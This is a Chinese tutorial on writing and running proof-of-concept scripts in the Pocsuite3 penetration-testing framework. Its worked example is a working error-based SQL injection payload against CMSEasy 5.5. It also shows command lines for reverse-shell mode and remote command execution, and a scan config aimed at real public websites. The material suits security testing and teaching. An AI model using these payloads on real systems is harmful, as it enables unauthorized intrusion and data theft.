使用Pocsuite3
简介和安装
在此框架下,有编写其POC的指定规则
以CMSEasy5.5的SQL注入漏洞PoC为例
1、首先创建.py文件,命名规则:
PoC命名分成3个部分组成漏洞应用名_版本号_漏洞类型名称 然后把文件名称中的所有字母改成小写,所有的符号改成_. 文件
例子的.py文件名为:_88979_cmseasy_5_5_sql_injection.py
2、PoC如下:
poc参考地址
#导入所写PoC所需要类/文件,尽量不要使用第三方模块。
#迫不得已使用第三方模块有其依赖规则,后面给出。
from pocsuite3.api import Output,POCBase,register_poc,requests
#PoC实现类,继承POCBase
class DemoPoc(POCBase):#PoC信息字段,需要完整填写全部下列信息vulID = '88979' #漏洞编号,若提交漏洞的同时提交PoC,则写成0version = '1'#PoC版本,默认为1author = ['blh']#此PoC作者vulDate = '2014-11-03'#漏洞公开日期createDate = '2020-01-13'#编写PoC日期updateDate = '2020-01-13'#更新PoC日期,默认与createDate一样references = ['https://www.seebug.org/vuldb/ssvid-88979']#漏洞地址来源,0day不写name = 'CMSEasy 5.5 /celive/live/header.php SQL注入漏洞'#PoC名称appPowerLink = 'http://www.cmseasy.cn/'#漏洞产商主页appName = 'CMSEasy'#漏洞应用名称appVersion = '5.5'#漏洞影响版本vulType = 'SQL Injection'#漏洞类型desc = '''漏洞描述'''#在漏洞描述填写samples = []#测试成功网址install_requires = []#PoC依赖的第三方模块,尽量不要使用第三方模块,必要时参考后面给出的参考链接pocDesc = '''PoC用法描述'''#在PoC用法描述填写#编写验证模式def _verify(self):#验证代码result = {}target = self.url + '/celive/live/header.php'#此处payload即为post的数据payload = {'xajax': 'LiveMessage','xajaxargs[0][name]': "1',(SELECT 1 FROM (select count(*),concat(""floor(rand(0)*2),(select md5(614)))a from ""information_schema.tables group by a)b),""'','','','1','127.0.0.1','2') #"}# 使用requests发送post请求response = requests.post(target,payload)#‘851ddf5058cf22df63d3344ad89919cf’为0614的md5值if '851ddf5058cf22df63d3344ad89919cf' in str(response.content):result['VerifyInfo']={}result['VerifyInfo']['URL'] = targetresult['VerifyInfo']['Postdata'] = payloadreturn self.parse_output(result)#编写攻击模式,此处直接给到验证模式,读者可以自行写出payload,获取管理员账号密码等信息。def _attack(self):return self._verify()#自定义输出函数,调用框架输出的实例Outputdef parse_output(self,result):output = Output(self)if result:output.success(result)else:output.fail('target is not vulnerable')return output#注册PoC类,这样框架才知道这是PoC类
register_poc(DemoPoc)
更多的规则和自定义函数:参考连接
常用命令调用
常用命令如下:(进入pocsuite3目录下使用)
pocsuite -u http://test.com -r test.py --verify #使用test.py这个PoC去检测http://test.com这个url
pocsuite -u http://test.com -r test.py --verify --shell # shell反连模式
pocsuite -u http://test.com -r ecshop_rce.py --attack --command "whoami" # pocsuite3中自带的ecshop poc中实现了自定义命令`command`,可以从外部参数传递
pocsuite -f url.txt -r test.py --verify #使用test.py这个PoC去检测url.txt文件里所有的url
#应该有个检测多个PoC的,但不知道怎么写命令,希望有师傅告知
例如:(实验中的成功案例是使用上面参考链接中的CMS和phpStudy搭建的环境)
集成调用
pocsuite3 api 提供了集成pocsuite3的全部功能函数。典型集成调用方法如下:
from pocsuite3.api import init_pocsuite
from pocsuite3.api import start_pocsuite
from pocsuite3.api import get_results
#config中给出三个url和两个PoC
config = {'url': {'https://www,baidu.com','https://www.4399.com','http://192.168.246.130/cmsEasy/uploads'},'poc': {'E:\python\python3.8.0\Lib\site-packages\pocsuite3\pocs\\thinkphp_rce.py','E:\python\python3.8.0\Lib\site-packages\pocsuite3\pocs\mypoc\_88979_cmseasy_5_5_sql_injection.py'}
}
# config字典的配置和cli命令行参数配置一模一样
init_pocsuite(config)
start_pocsuite()
result = get_results().pop()
print(result)
可以直接用命令行调用此python文件或者在IDE中直接执行。
使用Pocsuite3相关推荐
- Pocsuite3渗透测试框架编写POC和EXP脚本
在我们的日常渗透测试中,经常挖掘到一些漏洞,但是我们一般使用挖掘工具或者手工判断的时候,不好确定是不是真的存在这么一个漏洞,因此POC脚本就应运而生了.POC全称是Proof of Concept,中 ...
- pocsuite3 工具使用
目录 描述 功能介绍 使用 环境 下载 应用 Pocsuite命令行模式 pocsuite3 编写POC脚本 批量验证方式 pocsuite3 编写EXP脚本 pocsuite3 反弹shell 形式 ...
- 基于Pocsuite3的指纹识别POC编写
目录 1.前言 2.fingerprintScan 3.fingerprint.json指纹文件 4.使用效果 4.1 指纹识别 4.2 针对性漏洞探测
- WebLogic RCE(CVE-2019-2725)漏洞之旅
417 2019年4月17日,CNVD 发布<关于Oracle WebLogic wls9-async组件存在反序列化远程命令执行漏洞的安全公告>,公告指出部分版本WebLogic中默认包 ...
- confluence未授权模板注入/代码执行 cve-2019-3396
参考: https://jira.atlassian.com/browse/CONFSERVER-57974 https://github.com/knownsec/pocsuite3/blob/ma ...
- 【安全漏洞】Rocket.Chat 远程命令执行漏洞分析
简述 Rocket.Chat 是一个开源的完全可定制的通信平台,由 Javascript 开发,适用于具有高标准数据保护的组织. 2021年3月19日,该漏洞在 HackerOne 被提出,于2021 ...
- 优秀渗透工具资源整理(持续更新)
在进行渗透测试的过程中,会用到大量的开源工具,每次在各种网站.论坛看到很多很好的工具,所以使用该文章将每次碰到的优秀工具记录下来,然后在后期在进行归纳整理,既方便他人,也方便自己. 好用工具 1.B- ...
- CVE-2021-41773 CVE-2021-42013 Apache HTTPd最新RCE漏洞复现 目录穿越漏洞
给个关注?宝儿! 给个关注?宝儿! 给个关注?宝儿! 关注公众号:b1gpig信息安全,文章推送不错过 CVE-2021-41773漏洞描述: Apache HTTPd是Apache基金会开源的一款流 ...
- Apache Druid Console 远程命令执行漏洞
一.漏洞概述 Apache Druid 是用Java编写的面向列的开源分布式数据存储,旨在快速获取大量事件数据,并在数据之上提供低延迟查询. Apache Druid 默认情况下缺乏授权认证,攻击者可 ...
最新文章
- Php的if自动转换类型,php之数据类型自动转换,php之数据类型转换_PHP教程
- git中的暂存区与工作区
- Lync通过IP地址网段显示地理位置
- hdu-1392 Surround the Trees poj Rope (简单凸包)
- python测试开发django-8.windows系统安装mysql8教程
- GTID的常见错误和处理方法
- WPF 实现调用本机摄像头~
- 计算机应用基础试卷结果分析,计算机应用基础 试题
- 【Linux】静态库与动态库的生成及调用
- 因程序问题引起的服务器CPU负荷一直保持在90%以上
- gmod服务器文件,gmod服务器里改名字指令 | 手游网游页游攻略大全
- vSphere Client 鼠标不能用的问题
- python语言的实验心得体会范文_关于实验总结心得体会范文
- 赵小楼《天道》《遥远的救世主》深度解析(20)(补)肖亚文的不当吃不当喝和丁元英没接受18万马克的补偿
- iOS开发Xcode8需要注意的那些坑
- C语言石头剪刀布游戏课设
- 莫纳什大学计算机专业排名,2019上海软科世界一流学科排名计算机科学与工程专业排名莫纳什大学排名第151-200...
- IEC104起始地址
- oracle 11g 导入\导出(expdp impdp)详解之导入
- 三分钟编程系列,教你用C++编写赛车游戏,有源代码 !